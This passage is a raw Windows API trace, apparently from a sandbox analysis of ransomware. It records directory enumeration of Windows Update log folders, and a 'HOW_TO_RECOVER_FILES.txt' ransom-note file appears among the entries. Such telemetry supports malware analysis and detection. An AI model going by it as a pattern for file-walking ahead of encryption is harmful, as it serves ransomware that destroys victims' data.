ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3f449663, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.011.etl", cAlternateFileName="UP076F~1.ETL")) returned 1 [0152.230] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x1c505b8c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x58b60423, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.012.etl", cAlternateFileName="UPEBF6~1.ETL")) returned 1 [0152.231] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xdaf93ab4, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0x87be9f6, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.013.etl", cAlternateFileName="UP8DEE~1.ETL")) returned 1 [0152.231] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x1977635c, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1977635c, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.014.etl", cAlternateFileName="UP38BA~1.ETL")) returned 1 [0152.231] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfc820227, ftLastAccessTime.dwHighDateTime=0x1d3375a, ftLastWriteTime.dwLowDateTime=0x2521b8a4, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.015.etl", cAlternateFileName="UPE286~1.ETL")) returned 1 [0152.231] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfd9caf15, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xfd9caf15, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.016.etl", cAlternateFileName="UP9D42~1.ETL")) returned 1 [0152.231] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xda210f79, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xb10a27a8, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.017.etl", cAlternateFileName="UPB8BA~1.ETL")) returned 1 [0152.231] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe0798fd2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x79d33ce, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.018.etl", cAlternateFileName="UPAC79~1.ETL")) returned 1 [0152.231] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd7a24386, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x56762f51, ftLastWriteTime.dwHighDateTime=0x1d327d1, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.019.etl", cAlternateFileName="UP1E42~1.ETL")) returned 1 [0152.231] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x1fc4717b, ftLastAccessTime.dwHighDateTime=0x1d327c0, ftLastWriteTime.dwLowDateTime=0x46bc7f04, ftLastWriteTime.dwHighDateTime=0x1d327c0, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.020.etl", cAlternateFileName="UP597C~1.ETL")) returned 1 [0152.232] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x22cb9437, ftLastAccessTime.dwHighDateTime=0x1d327bf, ftLastWriteTime.dwLowDateTime=0x911dff9b, ftLastWriteTime.dwHighDateTime=0x1d327bf, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.021.etl", cAlternateFileName="UP0CB7~1.ETL")) returned 1 [0152.232] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8f4581c2, ftLastAccessTime.dwHighDateTime=0x1d327b9, ftLastWriteTime.dwLowDateTime=0xb62eafb0, ftLastWriteTime.dwHighDateTime=0x1d327b9, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.022.etl", cAlternateFileName="UPBE04~1.ETL")) returned 1 [0152.232] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7f83b96b, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x82808de1, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.023.etl", cAlternateFileName="UPA620~1.ETL")) returned 1 [0152.232] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xcae2810e, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xf21e09d1, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.024.etl", cAlternateFileName="UP14AB~1.ETL")) returned 1 [0152.232] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xcd491119, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x2e5f9ec7, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.025.etl", cAlternateFileName="UPDATE~4.ETL")) returned 1 [0152.232] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xb30910b4, ftLastAccessTime.dwHighDateTime=0x1d3278b, ftLastWriteTime.dwLowDateTime=0xe1a1828d, ftLastWriteTime.dwHighDateTime=0x1d3278b, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.026.etl", cAlternateFileName="UPDATE~3.ETL")) returned 1 [0152.232] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xbda7099b, ftLastAccessTime.dwHighDateTime=0x1d32746, ftLastWriteTime.dwLowDateTime=0xe19a12b7, ftLastWriteTime.dwHighDateTime=0x1d32746, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.027.etl", cAlternateFileName="UPDATE~2.ETL")) returned 1 [0152.233] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa972a1, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x266bdfb9, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.028.etl", cAlternateFileName="UPDATE~1.ETL")) returned 1 [0152.233] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6fa4f40f, ftCreationTime.dwHighDateTime=0x1d336de, ftLastAccessTime.dwLowDateTime=0x8243765a, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x889a9e61, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateUx.001.etl", cAlternateFileName="UP654C~1.ETL")) returned 1 [0152.233] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6fa4f40f, ftCreationTime.dwHighDateTime=0x1d336de, ftLastAccessTime.dwLowDateTime=0x6fa4f40f, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x7e0bea63, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateUx.002.etl", cAlternateFileName="UP1018~1.ETL")) returned 1 [0152.233] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0152.233] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0152.233] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0152.233] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0152.233] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0152.233] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\USOShared\\Logs", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\USOShared\\Logs", lpFilePart=0x0) returned 0x21 [0152.233] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3da0f1cb, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3da0f1cb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0152.234] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3da0f1cb, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3da0f1cb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.234] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3da0f1cb, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3da0f1cb, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3dcbdb64, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0152.234] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cf76e0, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x58d51fd9, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x597705f5, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUx.001.etl", cAlternateFileName="NOBE5B~1.ETL")) returned 1 [0152.234] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cf76e0, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x7cf76e0, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x852e502, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUx.002.etl", cAlternateFileName="NOTIFI~2.ETL")) returned 1 [0152.234] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x2d822f20, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x2efd472c, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.001.etl", cAlternateFileName="NO604C~1.ETL")) returned 1 [0152.235] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xfe554d51, ftLastAccessTime.dwHighDateTime=0x1d3375a, ftLastWriteTime.dwLowDateTime=0xfe782447, ftLastWriteTime.dwHighDateTime=0x1d3375a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.002.etl", cAlternateFileName="NO8BA4~1.ETL")) returned 1 [0152.235] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xfdf01be1, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xfdfc06a7, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.003.etl", cAlternateFileName="NO3670~1.ETL")) returned 1 [0152.235] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x588b3c6a, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x59ae67c8, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.004.etl", cAlternateFileName="NO2FB3~1.ETL")) returned 1 [0152.235] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xb4b94410, ftLastAccessTime.dwHighDateTime=0x1d336d7, ftLastWriteTime.dwLowDateTime=0xb50917ed, ftLastWriteTime.dwHighDateTime=0x1d336d7, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.005.etl", cAlternateFileName="NO74F7~1.ETL")) returned 1 [0152.235] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x86d6bb14, ftLastAccessTime.dwHighDateTime=0x1d336d7, ftLastWriteTime.dwLowDateTime=0x8728eea2, ftLastWriteTime.dwHighDateTime=0x1d336d7, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.006.etl", cAlternateFileName="NOC92C~1.ETL")) returned 1 [0152.235] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xe7f77c60, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xebc8ba4e, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.007.etl", cAlternateFileName="NOAEB3~1.ETL")) returned 1 [0152.236] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xe1017621, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe10d621a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.008.etl", cAlternateFileName="NO6494~1.ETL")) returned 1 [0152.236] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x2fb7ebe4, ftLastAccessTime.dwHighDateTime=0x1d327d1, ftLastWriteTime.dwLowDateTime=0x2fc89ca0, ftLastWriteTime.dwHighDateTime=0x1d327d1, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.009.etl", cAlternateFileName="NO492C~1.ETL")) returned 1 [0152.236] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xd855139b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xd87b395e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.010.etl", cAlternateFileName="NO0EF1~1.ETL")) returned 1 [0152.236] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x1ff683d6, ftLastAccessTime.dwHighDateTime=0x1d327c0, ftLastWriteTime.dwLowDateTime=0x20000d39, ftLastWriteTime.dwHighDateTime=0x1d327c0, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.011.etl", cAlternateFileName="NOC3D2~1.ETL")) returned 1 [0152.236] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x46e2de3d, ftLastAccessTime.dwHighDateTime=0x1d327bf, ftLastWriteTime.dwLowDateTime=0x46eecb64, ftLastWriteTime.dwHighDateTime=0x1d327bf, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.012.etl", cAlternateFileName="NOA86A~1.ETL")) returned 1 [0152.236] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x235d058f, ftLastAccessTime.dwHighDateTime=0x1d327bf, ftLastWriteTime.dwLowDateTime=0x23917bad, ftLastWriteTime.dwHighDateTime=0x1d327bf, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.013.etl", cAlternateFileName="NO3128~1.ETL")) returned 1 [0152.236] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x8f69453d, ftLastAccessTime.dwHighDateTime=0x1d327b9, ftLastWriteTime.dwLowDateTime=0x8f779518, ftLastWriteTime.dwHighDateTime=0x1d327b9, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.014.etl", cAlternateFileName="NO43D2~1.ETL")) returned 1 [0152.237] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x7fb3688d, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7fc1b6b8, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.015.etl", cAlternateFileName="NOTIFI~4.ETL")) returned 1 [0152.237] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xcb502d29, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xcb5c1a4e, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.016.etl", cAlternateFileName="NOTIFI~3.ETL")) returned 1 [0152.237] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x7b53cfc, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x8be7d51, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.017.etl", cAlternateFileName="NOTIFI~1.ETL")) returned 1 [0152.237] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2000, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x17f1e5d0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x17f1e5d0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.001.etl", cAlternateFileName="UP2DAF~1.ETL")) returned 1 [0152.237] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xde371631, ftLastAccessTime.dwHighDateTime=0x1d47c35, 